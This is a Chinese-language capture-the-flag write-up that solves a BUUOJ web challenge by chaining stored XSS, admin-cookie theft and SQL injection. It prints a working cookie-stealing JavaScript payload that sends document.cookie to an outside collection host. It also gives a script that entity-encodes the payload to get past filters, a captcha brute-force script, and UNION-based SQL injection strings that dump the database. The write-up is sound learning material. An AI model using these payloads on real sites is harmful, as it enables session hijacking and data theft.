做一道复杂的题锻炼一下
1.判断是xss
这是一个类似博客的界面,而博客常见的漏洞就是xss,通过让别人浏览或者点击某处盗取身份。
由此处大概能感觉到是xss了,在内网xss平台弄(第二次搞xss,第一次是在pikachu上面弄的)。
2.盗cookie的payload
看了一下wp,因为我对xss并不是很熟悉,他们说要自动触发,需要把payload略改一下,改成下面。
(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=46kX1e&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
对有些字符进行了过滤,可以用html markup
绕过,好像就是把ascii码前加上&#就可以了,有转化为该格式的脚本,写在下面。
#来自网络
xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=46kX1e&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
我的上传xss界面为
http://376135a1-4d88-4f68-89e4-c779c98776b6.node3.buuoj.cn/post/c54c79fe68c94c2461be3612a449fba8.html
然后进入反馈界面,把刚才存在xss的界面url填入,
对MD5验证码的前六位验证,下面是爆破脚本,令验证码为数字进行爆破,取其md5后的前六位对比我们已经给出的结果。
import hashlib
def func(md5_val):
for x in range(999999, 10000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:6]==md5_val:
return str(x)
if __name__ == '__main__':
print func('b76301')
注意用python2
发送弹出错误,结合wp,知道了反馈用的url为,web位置换为其他的应该也可,不太明白为什么不能直接使用xss页面所在页面的URL。
用管理cookie登陆。
3.SQL注入获得flag
登陆该界面。
sql注入的各阶段payload
-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ciscn'#
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
-1 union select 1,group_concat(flagg),3 from flag#
第一步忘截图了。
真够复杂的。。。